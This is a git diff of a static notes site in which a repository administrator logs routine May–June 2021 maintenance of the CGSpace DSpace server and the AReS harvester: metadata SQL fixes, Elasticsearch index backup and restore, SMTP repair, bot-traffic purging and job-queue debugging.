+"Izquierdo, Paulo",Paulo Izquierdo: 0000-0002-2153-0655
+"Reyes, Byron",Byron Reyes: 0000-0003-2672-9636
+"Reyes, Byron A.",Byron Reyes: 0000-0003-2672-9636
+$ ./ilri/add-orcid-identifiers-csv.py -i /tmp/2021-05-18-add-orcids.csv -db dspace -u dspace -p 'fuuu' -d
+
    +
  • I deployed the latest 6_x-prod branch on CGSpace, ran all system updates, and rebooted the server +
      +
    • This included the IWMI changes, so I also migrated the cg.subject.iwmi metadata to dcterms.subject and deleted the subject term
      • +
    • Then I started a full Discovery reindex
      • +
    +
    • +
+

2021-05-19

+
    +
  • I realized that I need to lower case the IWMI subjects that I just moved to AGROVOC because they were probably mostly uppercase +
      +
    • To my surprise I checked dcterms.subject has 47,000 metadata fields that are upper or mixed case!
      • +
    +
    • +
+
dspace=# UPDATE metadatavalue SET text_value=LOWER(text_value) WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=187 AND text_value ~ '[[:upper:]]';
+UPDATE 47405
+
    +
  • That’s interesting because we lowercased them all a few months ago, so these must all be new… wow +
      +
    • We have 405,000 total AGROVOC terms, with 20,600 of them being unique
      • +
    • I will have to start another Discovery re-indexing to pick up these new changes
      • +
    +
    • +
+

2021-05-20

+
    +
  • Export the top 5,000 AGROVOC terms to validate them:
    • +
+
localhost/dspace63= > \COPY (SELECT DISTINCT text_value, count(*) FROM metadatavalue WHERE dspace_object_id in (SELECT dspace_object_id FROM item) AND metadata_field_id = 187 GROUP BY text_value ORDER BY count DESC LIMIT 5000) to /tmp/2021-05-20-agrovoc.csv WITH CSV HEADER;
+COPY 5000
+$ csvcut -c 1 /tmp/2021-05-20-agrovoc.csv| sed 1d > /tmp/2021-05-20-agrovoc.txt
+$ ./ilri/agrovoc-lookup.py -i /tmp/2021-05-20-agrovoc.txt -o /tmp/2021-05-20-agrovoc-results.csv
+$ csvgrep -c "number of matches" -r '^0$' /tmp/2021-05-20-agrovoc-results.csv > /tmp/2021-05-20-agrovoc-rejected.csv
+
    +
  • Meeting with Medha and Pythagoras about the FAIR Workflow tool +
      +
    • Discussed the need for such a tool, other tools being developed, etc
      • +
    • I stressed the important of controlled vocabularies
      • +
    • No real outcome, except to keep us posted and let us know if they need help testing on DSpace
      • +
    +
    • +
  • Meeting with Hector Tobon to discuss issues with CLARISA +
      +
    • They pushed back a bit, saying they were more focused on the needs of the CG
      • +
    • They are not against the idea of aligning closer to ROR, but lack the man power
      • +
    • They pointed out that their countries come directly from the ISO 3166 online browsing platform on the ISO website
      • +
    • Indeed the text value for Russia is “Russian Federation (the)” there… I find that strange
      • +
    • I filed an issue on the iso-codes GitLab repository
      • +
    +
    • +
+

2021-05-24

+
    +
  • Add ORCID identifiers for missing ILRI authors and tag 550 others based on a few authors I noticed that were missing them:
    • +
+
$ cat 2021-05-24-add-orcids.csv 
+dc.contributor.author,cg.creator.identifier
+"Patel, Ekta","Ekta Patel: 0000-0001-9400-6988"
+"Dessie, Tadelle","Tadelle Dessie: 0000-0002-1630-0417"
+"Tadelle, D.","Tadelle Dessie: 0000-0002-1630-0417"
+"Dione, Michel M.","Michel Dione: 0000-0001-7812-5776"
+"Kiara, Henry K.","Henry Kiara: 0000-0001-9578-1636"
+"Naessens, Jan","Jan Naessens: 0000-0002-7075-9915"
+"Steinaa, Lucilla","Lucilla Steinaa: 0000-0003-3691-3971"
+"Wieland, Barbara","Barbara Wieland: 0000-0003-4020-9186"
+"Grace, Delia","Delia Grace: 0000-0002-0195-9489"
+"Rao, Idupulapati M.","Idupulapati M. Rao: 0000-0002-8381-9358"
+"Cardoso Arango, Juan Andrés","Juan Andrés Cardoso Arango: 0000-0002-0252-4655"
+$ ./ilri/add-orcid-identifiers-csv.py -i 2021-05-24-add-orcids.csv -db dspace -u dspace -p 'fuuu'
+
    +
  • A few days ago I took a backup of the Elasticsearch indexes on AReS using elasticdump:
    • +
+
$ elasticdump --input=http://localhost:9200/openrxv-items --output=/home/aorth/openrxv-items_data.json --type=data --limit=1000
+$ elasticdump --input=http://localhost:9200/openrxv-items --output=/home/aorth/openrxv-items_mapping.json --type=mapping
+
    +
  • The indexes look OK so I started a harvesting on AReS
    • +
+

2021-05-25

+
    +
  • The AReS harvest got messed up somehow, as I see the number of items in the indexes are the same as before the harvesting:
    • +
+
$ curl -s http://localhost:9200/_cat/indices | grep openrxv-items                                                
+yellow open openrxv-items-temp       o3ijJLcyTtGMOPeWpAJiVA 1 1 104373 106455 491.5mb 491.5mb
+yellow open openrxv-items-final      soEzAnp3TDClIGZbmVyEIw 1 1    953      0   2.3mb   2.3mb
+
    +
  • Update all docker images on the AReS server (linode20):
    • +
+
$ docker images | grep -v ^REPO | sed 's/ \+/:/g' | cut -d: -f1,2 | xargs -L1 docker pull
+$ docker-compose -f docker/docker-compose.yml down
+$ docker-compose -f docker/docker-compose.yml build
+
    +
  • Then run all system updates on the server and reboot it
    • +
  • Oh crap, I deleted everything on AReS and restored the backup and the total items are now 104317… so it was actually correct before!
    • +
  • For reference, this is how I re-created everything:
    • +
+
curl -XDELETE 'http://localhost:9200/openrxv-items-final'
+curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+curl -XPUT 'http://localhost:9200/openrxv-items-final'
+curl -XPUT 'http://localhost:9200/openrxv-items-temp'
+curl -s -X POST 'http://localhost:9200/_aliases' -H 'Content-Type: application/json' -d'{"actions" : [{"add" : { "index" : "openrxv-items-final", "alias" : "openrxv-items"}}]}'
+elasticdump --input=/home/aorth/openrxv-items_mapping.json --output=http://localhost:9200/openrxv-items-final --type=mapping
+elasticdump --input=/home/aorth/openrxv-items_data.json --output=http://localhost:9200/openrxv-items-final --type=data --limit=1000
+
    +
  • I will just start a new harvest… sigh
    • +
+

2021-05-26

+
    +
  • The AReS harvest last night got stuck at 3:20AM (UTC+3) at 752 pages for some reason… +
      +
    • Something seems to have happened on CGSpace this morning around then as I have an alert from UptimeRobot as well
      • +
    • I re-created everything as above (again) and restarted the harvest
      • +
    +
    • +
  • Looking in the DSpace log for this morning I see a big hole in the logs at that time (UTC+2 server time):
    • +
+
2021-05-26 02:17:52,808 INFO  org.dspace.curate.Curator @ Curation task: countrycodetagger performed on: 10568/70659 with status: 2. Result: '10568/70659: item has country codes, skipping'
+2021-05-26 02:17:52,853 INFO  org.dspace.curate.Curator @ Curation task: countrycodetagger performed on: 10568/66761 with status: 2. Result: '10568/66761: item has country codes, skipping'
+2021-05-26 03:00:05,772 INFO  org.dspace.statistics.SolrLoggerServiceImpl @ solr-statistics.spidersfile:null
+2021-05-26 03:00:05,773 INFO  org.dspace.statistics.SolrLoggerServiceImpl @ solr-statistics.server:http://localhost:8081/solr/statistics
+
    +
  • There are no logs between 02:17 and 03:00… hmmm.
    • +
  • I see a similar gap in the Solr log, though it starts at 02:15:
    • +
+
2021-05-26 02:15:07,968 INFO  org.apache.solr.core.SolrCore @ [search] webapp=/solr path=/select params={f.location.coll.facet.sort=count&facet.field=location.comm&facet.field=location.coll&fl=handle,search.resourcetype,search.resourceid,search.uniqueid&start=0&fq=NOT(withdrawn:true)&fq=NOT(discoverable:false)&fq=search.resourcetype:2&fq=NOT(discoverable:false)&rows=0&version=2&q=*:*&f.location.coll.facet.limit=-1&facet.mincount=1&facet=true&f.location.comm.facet.sort=count&wt=javabin&facet.offset=0&f.location.comm.facet.limit=-1} hits=90792 status=0 QTime=6 
+2021-05-26 02:15:09,446 INFO  org.apache.solr.core.SolrCore @ [statistics] webapp=/solr path=/update params={wt=javabin&version=2} status=0 QTime=1 
+2021-05-26 02:28:03,602 INFO  org.apache.solr.update.UpdateHandler @ start commit{,optimize=false,openSearcher=true,waitSearcher=true,expungeDeletes=false,softCommit=false,prepareCommit=false}
+2021-05-26 02:28:03,630 INFO  org.apache.solr.core.SolrCore @ SolrDeletionPolicy.onCommit: commits: num=2
+        commit{dir=NRTCachingDirectory(MMapDirectory@/home/cgspace.cgiar.org/solr/statistics/data/index lockFactory=NativeFSLockFactory@/home/cgspace.cgiar.org/solr/statistics/data/index; maxCacheMB=48.0 maxMergeSizeMB=4.0),segFN=segments_n6ns,generation=1081720}
+        commit{dir=NRTCachingDirectory(MMapDirectory@/home/cgspace.cgiar.org/solr/statistics/data/index lockFactory=NativeFSLockFactory@/home/cgspace.cgiar.org/solr/statistics/data/index; maxCacheMB=48.0 maxMergeSizeMB=4.0),segFN=segments_n6nt,generation=1081721}
+2021-05-26 02:28:03,630 INFO  org.apache.solr.core.SolrCore @ newest commit generation = 1081721
+2021-05-26 02:28:03,632 INFO  org.apache.solr.search.SolrIndexSearcher @ Opening Searcher@34f2c871[statistics] main
+2021-05-26 02:28:03,633 INFO  org.apache.solr.core.SolrCore @ QuerySenderListener sending requests to Searcher@34f2c871[statistics] main{StandardDirectoryReader(segments_n5xy:4540675:nrt _1befl(4.10.4):C42054400/925069:delGen=8891 _1bksq(4.10.4):C685090/92211:delGen=1227 _1bx0c(4.10.4):C1069897/49988:delGen=966 _1bxr2(4.10.4):C197387/5860:delGen=485 _1cc1x(4.10.4):C353338/40887:delGen=626 _1ck6k(4.10.4):C1009357/39041:delGen=166 _1celj(4.10.4):C268907/18097:delGen=340 _1clq9(4.10.4):C147453/25003:delGen=68 _1cn3t(4.10.4):C260311/1802:delGen=82 _1cl3c(4.10.4):C47408/2610:delGen=39 _1cnmh(4.10.4):C32851/237:delGen=41 _1cod4(4.10.4):C85915/281:delGen=35 _1coy4(4.10.4):C178367/483:delGen=27 _1cpgs(4.10.4):C25465/81:delGen=13 _1cppf(4.10.4):C101411/154:delGen=15 _1cqc4(4.10.4):C26003/39:delGen=8 _1cpvl(4.10.4):C24160/91:delGen=8 _1cq3n(4.10.4):C18167/39:delGen=4 _1cq15(4.10.4):C9983/13:delGen=2 _1cq79(4.10.4):C13077/19:delGen=4 _1cqhz(4.10.4):C21251/2:delGen=1 _1cqka(4.10.4):C3531 _1cqku(4.10.4):C2597 _1cqkk(4.10.4):C2951 _1cqjq(4.10.4):C2675 _1cql5(4.10.4):C993 _1cql6(4.10.4):C161 _1cql7(4.10.4):C106 _1cql8(4.10.4):C19 _1cql9(4.10.4):C147 _1cqla(4.10.4):C2 _1cqlb(4.10.4):C15)}
+2021-05-26 02:28:03,633 INFO  org.apache.solr.core.SolrCore @ QuerySenderListener done.
+
+
May 26, 2021
+Connectivity Issue - Frankfurt
+Resolved - We haven’t observed any additional connectivity issues in our Frankfurt data center, and will now consider this incident resolved. If you continue to experience problems, please open a Support ticket for assistance.
+May 26, 02:57 UTC 
+
    +
  • While looking in the logs I noticed an error about SMTP:
    • +
+
2021-05-26 02:00:18,015 ERROR org.dspace.eperson.SubscribeCLITool @ Failed to send subscription to eperson_id=934cb92f-2e77-4881-89e2-6f13ad4b1378
+2021-05-26 02:00:18,015 ERROR org.dspace.eperson.SubscribeCLITool @ javax.mail.SendFailedException: Send failure (javax.mail.MessagingException: Could not convert socket to TLS (javax.net.ssl.SSLHandshakeException: No appropriate protocol (protocol is disabled or cipher suites are inappropriate)))
+
    +
  • And indeed the email seems to be broken:
    • +
+
$ dspace test-email
+
+About to send test email:
+ - To: fuuuuuu
+ - Subject: DSpace test email
+ - Server: smtp.office365.com
+
+Error sending email:
+ - Error: javax.mail.SendFailedException: Send failure (javax.mail.MessagingException: Could not convert socket to TLS (javax.net.ssl.SSLHandshakeException: No appropriate protocol (protocol is disabled or cipher suites are inappropriate)))
+
+Please see the DSpace documentation for assistance.
+
    +
  • I saw a recent thread on the dspace-tech mailing list about this that makes me wonder if Microsoft changed something on Office 365 +
      +
    • I added mail.smtp.ssl.protocols=TLSv1.2 to the mail.extraproperties in dspace.cfg and the test email sent successfully
      • +
    +
    • +
+

2021-05-30

+
    +
  • Reset the Elasticsearch indexes on AReS as above and start a fresh harvest +
      +
    • The indexing finished and the total number of items is now 104504, but I’m sure the indexes are messed up so I will just start by taking a backup and re-creating them manually before every indexing
      • +
    +
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2021-06/index.html b/docs/2021-06/index.html new file mode 100644 index 000000000..e5a9c05bc --- /dev/null +++ b/docs/2021-06/index.html @@ -0,0 +1,747 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + June, 2021 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

June, 2021

+

+ + in + Notes + + +

+
+

2021-06-01

+
    +
  • IWMI notified me that AReS was down with an HTTP 502 error +
      +
    • Looking at UptimeRobot I see it has been down for 33 hours, but I never got a notification
      • +
    • I don’t see anything in the Elasticsearch container logs, or the systemd journal on the host, but I notice that the angular_nginx container isn’t running
      • +
    • I simply started it and AReS was running again:
      • +
    +
    • +
+
$ docker-compose -f docker/docker-compose.yml start angular_nginx
+
    +
  • Margarita from CCAFS emailed me to say that workflow alerts haven’t been working lately +
      +
    • I guess this is related to the SMTP issues last week
      • +
    • I had fixed the config, but didn’t restart Tomcat so DSpace didn’t load the new variables
      • +
    • I ran all system updates on CGSpace (linode18) and DSpace Test (linode26) and rebooted the servers
      • +
    +
    • +
+

2021-06-03

+
    +
  • Meeting with AMCOW and IWMI to discuss AMCOW getting IWMI’s content into the new AMCOW Knowledge Hub +
      +
    • At first we spent some time talking about DSpace communities/collections and the REST API, but then they said they actually prefer to send queries to sites on the fly and cache them in Redis for some time
      • +
    • That’s when I thought they could perhaps use the OpenSearch, but I can’t remember if it’s possible to limit by community, or only collection…
      • +
    • Looking now, I see there is a “scope” parameter that can be used for community or collection, for example:
      • +
    +
    • +
+
https://cgspace.cgiar.org/open-search/discover?query=subject:water%20scarcity&scope=10568/16814&order=DESC&rpp=100&sort_by=2&start=1
+
    +
  • That will sort by date issued (see: webui.itemlist.sort-option.2 in dspace.cfg), give 100 results per page, and start on item 1
    • +
  • Otherwise, another alternative would be to use the IWMI CSV that we are already exporting every week
    • +
  • Fill out the CGIAR-AGROVOC Task Group: Survey on the current CGIAR use of AGROVOC survey on behalf of CGSpace
    • +
+

2021-06-06

+
    +
  • The Elasticsearch indexes are messed up so I dumped and re-created them correctly:
    • +
+
curl -XDELETE 'http://localhost:9200/openrxv-items-final'
+curl -XDELETE 'http://localhost:9200/openrxv-items-temp'
+curl -XPUT 'http://localhost:9200/openrxv-items-final'
+curl -XPUT 'http://localhost:9200/openrxv-items-temp'
+curl -s -X POST 'http://localhost:9200/_aliases' -H 'Content-Type: application/json' -d'{"actions" : [{"add" : { "index" : "openrxv-items-final", "alias" : "openrxv-items"}}]}'
+elasticdump --input=/home/aorth/openrxv-items_mapping.json --output=http://localhost:9200/openrxv-items-final --type=mapping
+elasticdump --input=/home/aorth/openrxv-items_data.json --output=http://localhost:9200/openrxv-items-final --type=data --limit=1000
+
    +
  • Then I started a harvesting on AReS
    • +
+

2021-06-07

+
    +
  • The harvesting on AReS completed successfully
    • +
  • Provide feedback to FAO on how we use AGROVOC for their “AGROVOC call for use cases”
    • +
+

2021-06-10

+
    +
  • Skype with Moayad to discuss AReS harvesting improvements +
      +
    • He will work on a plugin that reads the XML sitemap to get all item IDs and checks whether we have them or not
      • +
    +
    • +
+

2021-06-14

+
    +
  • Dump and re-create indexes on AReS (as above) so I can do a harvest
    • +
+

2021-06-16

+
    +
  • Looking at the Solr statistics on CGSpace for last month I see many requests from hosts using seemingly normal Windows browser user agents, but using the MSN bot’s DNS +
      +
    • For example, user agent Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; Trident/5.0) with DNS msnbot-131-253-25-91.search.msn.com.
      • +
    • I queried Solr for all hits using the MSN bot DNS (dns:*msnbot* AND dns:*.msn.com.) and found 457,706
      • +
    • I extracted their IPs using Solr’s CSV format and ran them through my resolve-addresses.py script and found that they all belong to MICROSOFT-CORP-MSN-AS-BLOCK (AS8075)
      • +
    • Note that Microsoft’s docs say that reverse lookups on Bingbot IPs will always have “search.msn.com” so it is safe to purge these as non-human traffic
      • +
    • I purged the hits with ilri/check-spider-ip-hits.sh (though I had to do it in 3 batches because I forgot to increase the facet.limit so I was only getting them 100 at a time)
      • +
    +
    • +
  • Moayad sent a pull request a few days ago to re-work the harvesting on OpenRXV +
      +
    • It will hopefully also fix the duplicate and missing items issues
      • +
    • I had a Skype with him to discuss
      • +
    • I got it running on podman-compose, but I had to fix the storage permissions on the Elasticsearch volume after the first time it tries (and fails) to run:
      • +
    +
    • +
+
$ podman unshare chown 1000:1000 /home/aorth/.local/share/containers/storage/volumes/docker_esData_7/_data
+
    +
  • The new OpenRXV harvesting method by Moayad uses pages of 10 items instead of 100 and it’s much faster +
      +
    • I harvested 90,000+ items from DSpace Test in ~3 hours
      • +
    • There seem to be some issues with the health check step though, as I see it is requesting one restricted item 600,000+ times…
      • +
    +
    • +
+

2021-06-17

+
    +
  • I ported my ilri/resolve-addresses.py script that uses IPAPI.co to use the local GeoIP2 databases +
      +
    • The new script is ilri/resolve-addresses-geoip2.py and it is much faster and works offline with no API rate limits
      • +
    +
    • +
  • Teams meeting with the CGIAR Metadata Working group to discuss CGSpace and open repositories and the way forward
    • +
  • More work with Moayad on OpenRXV harvesting issues +
      +
    • Using a JSON export from elasticdump we debugged the duplicate checker plugin and found that there are indeed duplicates:
      • +
    +
    • +
+
$ grep -oE '"handle":"[[:digit:]]+/[[:digit:]]+"' openrxv-items_data.json | awk -F: '{print $2}' | wc -l
+90459
+$ grep -oE '"handle":"[[:digit:]]+/[[:digit:]]+"' openrxv-items_data.json | awk -F: '{print $2}' | sort | uniq | wc -l
+90380
+$ grep -oE '"handle":"[[:digit:]]+/[[:digit:]]+"' openrxv-items_data.json | awk -F: '{print $2}' | sort | uniq -c | sort -h
+...
+      2 "10568/99409"
+      2 "10568/99410"
+      2 "10568/99411"
+      2 "10568/99516"
+      3 "10568/102093"
+      3 "10568/103524"
+      3 "10568/106664"
+      3 "10568/106940"
+      3 "10568/107195"
+      3 "10568/96546"
+

2021-06-20

+
    +
  • Udana asked me to update their IWMI subjects from farmer managed irrigation systems to farmer-led irrigation +
      +
    • First I extracted the IWMI community from CGSpace:
      • +
    +
    • +
+
$ dspace metadata-export -i 10568/16814 -f /tmp/2021-06-20-IWMI.csv
+
    +
  • Then I used csvcut to extract just the columns I needed and do the replacement into a new CSV:
    • +
+
$ csvcut -c 'id,dcterms.subject[],dcterms.subject[en_US]' /tmp/2021-06-20-IWMI.csv | sed 's/farmer managed irrigation systems/farmer-led irrigation/' > /tmp/2021-06-20-IWMI-new-subjects.csv
+
    +
  • Then I uploaded the resulting CSV to CGSpace, updating 161 items
    • +
  • Start a harvest on AReS
    • +
  • I found a bug and a patch for the private items showing up in the DSpace sitemap bug +
      +
    • The fix is super simple, I should try to apply it
      • +
    +
    • +
+

2021-06-21

+
    +
  • The AReS harvesting finished, but the indexes got messed up again
    • +
  • I was looking at the JSON export I made yesterday and trying to understand the situation with duplicates +
      +
    • We have 90,000+ items, but only 85,000 unique:
      • +
    +
    • +
+
$ grep -E '"repo":"CGSpace"' openrxv-items_data.json | grep -oE '"handle":"[[:digit:]]+/[[:alnum:]]+"' | wc -l
+90937
+$ grep -E '"repo":"CGSpace"' openrxv-items_data.json | grep -oE '"handle":"[[:digit:]]+/[[:alnum:]]+"' | sort -u | wc -l
+85709
+
    +
  • So those could be duplicates from the way we harvest pages, but they could also be from mappings… +
      +
    • Manually inspecting the duplicates where handles appear more than once:
      • +
    +
    • +
+
$ grep -E '"repo":"CGSpace"' openrxv-items_data.json | grep -oE '"handle":"[[:digit:]]+/[[:alnum:]]+"' | sort | uniq -c | sort -h
+
    +
  • Unfortunately I found no pattern: +
      +
    • Some appear twice in the Elasticsearch index, but appear in only one collection
      • +
    • Some appear twice in the Elasticsearch index, and appear in two collections
      • +
    • Some appear twice in the Elasticsearch index, but appear in three collections (!)
      • +
    +
    • +
  • So really we need to just check whether a handle exists before we insert it
    • +
  • I tested the pull request for DS-1977 that adjusts the sitemap generation code to exclude private items +
      +
    • It applies cleanly and seems to work, but we don’t actually have any private items
      • +
    • The issue we are having with AReS hitting restricted items in the sitemap is that the items have restricted metadata, not that they are private
      • +
    +
    • +
  • Testing the pull request for DS-4065 where the REST API’s /rest/items endpoint is not aware of private items and returns an incorrect number of items +
      +
    • This is most easily seen by setting a low limit in /rest/items, making one of the items private, and requesting items again with the same limit
      • +
    • I confirmed the issue on the current DSpace 6 Demo:
      • +
    +
    • +
+
$ curl -s -H "Accept: application/json" "https://demo.dspace.org/rest/items?offset=0&limit=5" | jq length
+5
+$ curl -s -H "Accept: application/json" "https://demo.dspace.org/rest/items?offset=0&limit=5" | jq '.[].handle'
+"10673/4"
+"10673/3"
+"10673/6"
+"10673/5"
+"10673/7"
+# log into DSpace Demo XMLUI as admin and make one item private (for example 10673/6)
+$ curl -s -H "Accept: application/json" "https://demo.dspace.org/rest/items?offset=0&limit=5" | jq length       
+4
+$ curl -s -H "Accept: application/json" "https://demo.dspace.org/rest/items?offset=0&limit=5" | jq '.[].handle' 
+"10673/4"
+"10673/3"
+"10673/5"
+"10673/7"
+
    +
  • I tested the pull request on DSpace Test and it works, so I left a note on GitHub and Jira
    • +
  • Last week I noticed that the Gender Platform website is using “cgspace.cgiar.org” links for CGSpace, instead of handles +
      +
    • I emailed Fabio and Marianne to ask them to please use the Handle links
      • +
    +
    • +
  • I tested the pull request for DS-4271 where Discovery filters of type “contains” don’t work as expected when the user’s search term has spaces +
      +
    • I tested with filter “farmer managed irrigation systems” on DSpace Test
      • +
    • Before the patch I got 293 results, and the few I checked didn’t have the expected metadata value
      • +
    • After the patch I got 162 results, and all the items I checked had the exact metadata value I was expecting
      • +
    +
    • +
  • I tested a fresh harvest from my local AReS on DSpace Test with the DS-4065 REST API patch and here are my results: +
      +
    • 90459 in final from last harvesting
      • +
    • 90307 in temp after new harvest
      • +
    • 90327 in temp after start plugins
      • +
    +
    • +
  • The 90327 number seems closer to the “real” number of items on CGSpace… +
      +
    • Seems close, but not entirely correct yet:
      • +
    +
    • +
+
$ grep -oE '"handle":"[[:digit:]]+/[[:digit:]]+"' openrxv-items_data-local-ds-4065.json | wc -l
+90327
+$ grep -oE '"handle":"[[:digit:]]+/[[:digit:]]+"' openrxv-items_data-local-ds-4065.json | sort -u | wc -l
+90317
+

2021-06-22

+
    +
  • Make a pull request to the COUNTER-Robots project to add two new user agents: crusty and newspaper +
      +
    • These two bots have made ~3,000 requests on CGSpace
      • +
    • Then I added them to our local bot override in CGSpace (until the above pull request is merged) and ran my bot checking script:
      • +
    +
    • +
+
$ ./ilri/check-spider-hits.sh -f dspace/config/spiders/agents/ilri -p   
+Purging 1339 hits from RI\/1\.0 in statistics
+Purging 447 hits from crusty in statistics
+Purging 3736 hits from newspaper in statistics
+
+Total number of bot hits purged: 5522
+
    +
  • Surprised to see RI/1.0 in there because it’s been in the override file for a while
    • +
  • Looking at the 2021 statistics in Solr I see a few more suspicious user agents: +
      +
    • PostmanRuntime/7.26.8
      • +
    • node-fetch/1.0 (+https://github.com/bitinn/node-fetch)
      • +
    • Photon/1.0
      • +
    • StatusCake_Pagespeed_indev
      • +
    • node-superagent/3.8.3
      • +
    • cortex/1.0
      • +
    +
    • +
  • These bots account for ~42,000 hits in our statistics… I will just purge them and add them to our local override, but I can’t be bothered to submit them to COUNTER-Robots since I’d have to look up the information for each one
    • +
  • I re-synced DSpace Test (linode26) with the assetstore, Solr statistics, and database from CGSpace (linode18)
    • +
+

2021-06-23

+
    +
  • I woke up this morning to find CGSpace down +
      +
    • The logs show a high number of abandoned PostgreSQL connections and locks:
      • +
    +
    • +
+
# journalctl --since=today -u tomcat7 | grep -c 'Connection has been abandoned'
+978
+$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+10100
+
    +
  • I sent a message to Atmire, hoping that the database logging stuff they put in place last time this happened will be of help now
    • +
  • In the mean time, I decided to upgrade Tomcat from 7.0.107 to 7.0.109, and the PostgreSQL JDBC driver from 42.2.20 to 42.2.22 (first on DSpace Test)
    • +
  • I also applied the following patches from the 6.4 milestone to our 6_x-prod branch: +
      +
    • DS-4065: resource policy aware REST API hibernate queries
      • +
    • DS-4271: Replaced brackets with double quotes in SolrServiceImpl
      • +
    +
    • +
  • After upgrading and restarting Tomcat the database connections and locks were back down to normal levels:
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+63
+
    +
  • Looking in the DSpace log, the first “pool empty” message I saw this morning was at 4AM:
    • +
+
2021-06-23 04:01:14,596 ERROR org.hibernate.engine.jdbc.spi.SqlExceptionHelper @ [http-bio-127.0.0.1-8443-exec-4323] Timeout: Pool empty. Unable to fetch a connection in 5 seconds, none available[size:250; busy:250; idle:0; lastwait:5000].
+
    +
  • Oh, and I notice 8,000 hits from a Flipboard bot using this user-agent:
    • +
+
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0 (FlipboardProxy/1.2; +http://flipboard.com/browserproxy)
+
+

2021-06-24

+
    +
  • I deployed the new OpenRXV code on CGSpace but I’m having problems with the indexing, something about missing the mappings on the openrxv-items-temp index +
      +
    • I extracted the mappings from my local instance using elasticdump and after putting them on CGSpace I was able to harvest…
      • +
    • But still, there are way too many duplicates and I’m not sure what the actual number of items should be
      • +
    • According to the OAI ListRecords for each of our repositories, we should have about: +
        +
      • MELSpace: 9537
        • +
      • WorldFish: 4483
        • +
      • CGSpace: 91305
        • +
      • Total: 105325
        • +
      +
      • +
    • Looking at the last backup I have from harvesting before these changes we have 104,000 total handles, but only 99186 unique:
      • +
    +
    • +
+
$ grep -oE '"handle":"([[:digit:]]|\.)+/[[:digit:]]+"' cgspace-openrxv-items-temp-backup.json | wc -l
+104797
+$ grep -oE '"handle":"([[:digit:]]|\.)+/[[:digit:]]+"' cgspace-openrxv-items-temp-backup.json | sort | uniq | wc -l
+99186
+
    +
  • This number is probably unique for that particular harvest, but I don’t think it represents the true number of items…
    • +
  • The harvest of DSpace Test I did on my local test instance yesterday has about 91,000 items:
    • +
+
$ grep -E '"repo":"DSpace Test"' 2021-06-23-openrxv-items-final-local.json | grep -oE '"handle":"([[:digit:]]|\.)+/[[:digit:]]+"' | sort | uniq | wc -l
+90990
+
    +
  • So the harvest on the live site is missing items, then why didn’t the add missing items plugin find them?! +
      +
    • I notice that we are missing the type in the metadata structure config for each repository on the production site, and we are using type for item type in the actual schema… so maybe there is a conflict there
      • +
    • I will rename type to item_type and add it back to the metadata structure
      • +
    • The add missing items definitely checks this field…
      • +
    • I modified my local backup to add type: item and uploaded it to the temp index on production
      • +
    • Oh! nginx is blocking OpenRXV’s attempt to read the sitemap:
      • +
    +
    • +
+
172.104.229.92 - - [24/Jun/2021:07:52:58 +0200] "GET /sitemap HTTP/1.1" 503 190 "-" "OpenRXV harvesting bot; https://github.com/ilri/OpenRXV"
+
    +
  • I fixed nginx so it always allows people to get the sitemap and then re-ran the plugins… now it’s checking 180,000+ handles to see if they are collections or items… +
      +
    • I see it fetched the sitemap three times, we need to make sure it’s only doing it once for each repository
      • +
    +
    • +
  • According to the api logs we will be adding 5,697 items:
    • +
+
$ docker logs api 2>/dev/null | grep dspace_add_missing_items | sort | uniq | wc -l
+5697
+
    +
  • Spent a few hours with Moayad troubleshooting and improving OpenRXV +
      +
    • We found a bug in the harvesting code that can occur when you are harvesting DSpace 5 and DSpace 6 instances, as DSpace 5 uses numeric (long) IDs, and DSpace 6 uses UUIDs
      • +
    +
    • +
+

2021-06-25

+
    +
  • The new OpenRXV code creates almost 200,000 jobs when the plugins start +
      +
    • I figured out how to use bee-queue/arena to view our Bull job queue
      • +
    • Also, we can see the jobs directly using redis-cli:
      • +
    +
    • +
+
$ redis-cli
+127.0.0.1:6379> SCAN 0 COUNT 5
+1) "49152"
+2) 1) "bull:plugins:476595"
+   2) "bull:plugins:367382"
+   3) "bull:plugins:369228"
+   4) "bull:plugins:438986"
+   5) "bull:plugins:366215"
+
    +
  • We can apparently get the names of the jobs in each hash using hget:
    • +
+
127.0.0.1:6379> TYPE bull:plugins:401827
+hash
+127.0.0.1:6379> HGET bull:plugins:401827 name
+"dspace_add_missing_items"
+
    +
  • I whipped up a one liner to get the keys for all plugin jobs, convert to redis HGET commands to extract the value of the name field, and then sort them by their counts:
    • +
+
$ redis-cli KEYS "bull:plugins:*" \
+  | sed -e 's/^bull/HGET bull/' -e 's/\([[:digit:]]\)$/\1 name/' \
+  | ncat -w 3 localhost 6379 \
+  | grep -v -E '^\$' | sort | uniq -c | sort -h
+      3 dspace_health_check
+      4 -ERR wrong number of arguments for 'hget' command
+     12 mel_downloads_and_views
+    129 dspace_altmetrics
+    932 dspace_downloads_and_views
+ 186428 dspace_add_missing_items
+
    +
  • Note that this uses ncat to send commands directly to redis all at once instead of one at a time (netcat didn’t work here, as it doesn’t know when our input is finished and never quits) +
      +
    • I thought of using redis-cli --pipe but then you have to construct the commands in the redis protocol format with the number of args and length of each command
      • +
    +
    • +
  • There is clearly something wrong with the new DSpace health check plugin, as it creates WAY too many jobs every time we run the plugins
    • +
+

2021-06-27

+
    +
  • Looking into the spike in PostgreSQL connections last week +
      +
    • I see the same things that I always see (large number of connections waiting for lock, large number of threads, high CPU usage, etc), but I also see almost 10,000 DSpace sessions on 2021-06-25
      • +
    +
    • +
+

DSpace sessions

+
    +
  • Looking at the DSpace log I see there was definitely a higher number of sessions that day, perhaps twice the normal:
    • +
+
